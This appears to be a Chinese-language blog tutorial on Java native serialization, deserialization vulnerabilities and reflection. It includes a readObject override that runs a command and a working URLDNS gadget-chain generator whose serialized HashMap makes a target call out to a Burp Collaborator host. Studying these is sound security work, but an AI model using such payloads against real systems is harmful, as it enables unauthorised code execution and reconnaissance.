java反序列化基礎

前言：最近開始學習java的序列化與反序列化，現在從原生的序列化與反序列化開始，小小的記錄一下

參考文章：https://blog.csdn.net/mocas_wang/article/details/107621010

01.什麼是序列化與反序列化

其實java的序列化說白了就是將一個物件轉換成位元組的過程，那麼同理，java的反序列化也就是將一個位元組轉換會一個物件的過程，這樣的操作會使得物件在不同的機器之間進行傳遞變得簡單，我們在一臺機器上將某個物件序列化之後那麼只需要傳遞序列化之後的位元組給另外一臺機器，那麼另外一臺機器只需要進行對應的反序列操作就可以獲得傳遞過來的物件。

下面來演示一下使用io流自帶的介面進行序列化與反序列化：

1.首先定義一個Person類用於序列化的操作

import java.io.Serializable;
//必須繼承Serializable介面才可被序列化
public class Person implements Serializable {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public Person() {
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

2.正常情況下，我們透過以下程式碼進行例項化，然後列印出這個物件，應該會得到以下的結果

    public static void main(String[] args) {
        Person person = new Person("aa",22);
        System.out.println(person);
    }

 

 

 3.那麼現在我們用以下程式碼來對這個物件進行序列化，可以看到，物件的資訊會被序列化的寫入ser.bin檔案中

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

 

 

 4.那麼接下來我們只要在另外一個類中，實現反序列化的程式碼，就可以很輕鬆的獲取到原來想要傳遞的物件

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois  = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

 

 

 tips:

• 必須實現Serializable介面的類才可被序列化
• 靜態成員變數是不能被序列化的，因為靜態成員變數是屬於類中的，而不是屬於被例項化物件
• transient標識的物件成員變數是不可以被序列化的

那麼為什麼會產生安全問題呢？

只要服務端反序列化了資料，客戶端傳遞類的readObject中的程式碼就會自動執行，給予攻擊者在伺服器上執行程式碼的能力

如何利用？

首先，我們需要找到一個入口類，這個類需要重寫了readObject，同時最好重寫了一個常見的函式這樣我們可以進一步的去找呼叫鏈，最後我們需要去找到一個執行類（rce，ssrf，寫檔案等等）

1.我們知道，在反序列化的過程中，會呼叫ObjectInputStream中的readObject方面，那麼如果我們在類中就重寫了這個方法，反序列化時呼叫的這個方法是不是就會呼叫我們重寫的方法，這時候只需要把後門程式碼放在裡面，就可以達到攻擊的目的。重寫程式碼如下：

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

2.如果入口類引數中包含可控類，該類有危險方法，readObject時就可以去呼叫，比方說Map，他可以是Map<Object,Object>這種型別，同時Map又繼承了Serializable介面，那麼就會可以被利用

3.入口類引數中包含可控類，該類又呼叫了其他有危險方法的類，就可以在readObject時去呼叫

Java反射機制

通常，我們在利用反序列化漏洞的時候會運用到java的反射機制，下面這篇文章很好的講述了java的反射機制

參考文章：https://blog.csdn.net/weiwenhou/article/details/103650422

總結一下：

• 反射的作用：讓java具有動態性
• 修改已有物件的屬性
• 動態的生成物件
• 動態的呼叫方法
• 操作內部類和私有方法

在反序列化漏洞中的應用：

• 定製需要的物件
• 透過invoke呼叫除了同名函式以外的函式
• 透過Class類建立物件，引入不能序列化的類

簡單使用

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        Class c = person.getClass();
        //反射就是操作Class

        //從原型class裡面例項化物件
        //c.newInstance(); 無參，無法使用
        Constructor personconstructor =  c.getConstructor(String.class,int.class);
        Person p = (Person) personconstructor.newInstance("abc",22);
        System.out.println(p);
        //獲取類裡面的屬性
        //c.getFields();只能列印public的屬性
        //c.getDeclaredFields()都可以列印
        Field[] personfields =  c.getDeclaredFields();
        for (Field f:personfields){
            System.out.println(f);
        }
        //獲取單個
        Field namefield = c.getField("name");
        namefield.set(p,"testedit");//需要一個示例
        System.out.println(p);
        //修改私有變數
        Field agefield = c.getDeclaredField("age");
        agefield.setAccessible(true);//允許訪問私有變數
        agefield.set(p,33);
        System.out.println(p);
        //呼叫類裡面的方法
        Method[] personMethods = c.getDeclaredMethods();
        for(Method m:personMethods){
            System.out.println(m);
        }
        //獲取單個方法
        Method actionmethod = c.getMethod("action",String.class);
        actionmethod.invoke(p,"testaction");//呼叫觸發
    }
}

URL-DNS鏈

首先，我們想要利用URL-DNS鏈，我們可以先來看一下URL類中是否存在readObject方法，但是我們可以很明顯的發現，URL類中的該方法，沒有呼叫危險函式，那麼是不是就不能夠利用了呢？

其實，在URL類中，存在一個hashcode函式，這個函式會發起DNS請求，那麼我們該怎麼操作可以使得在反序列化時讓他呼叫這個函式呢，我們可以透過利用hashMap中的hash方法，hashMap在反序列化時會呼叫readObject方法，該方法的Key值會呼叫Key.hashcode方法，那麼只要將URL類作為hashMap的key，我們就可以成功利用，但是實際上，我們需要利用java的反射機制，對某些引數進行修改，因為在put的過程中，如果hashcode的值為-1那麼也會呼叫hashcode方法，那麼我們就無法分辨，到底是在哪個緩解出發了反序列化漏洞，具體的利用程式碼如下。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
//        Person person = new Person("aa",22);
//        System.out.println(person);
//        serialize(person);
        HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
        //一開始不能發起請求        //把url物件的hashcode改成不是-1
        URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net");
        Class c = url.getClass();
        Field hashcode = c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,1);
        hashMap.put(url,1);
        //現在可以把hashcode給改回來
        hashcode.set(url,-1);
        serialize(hashMap);
    }
}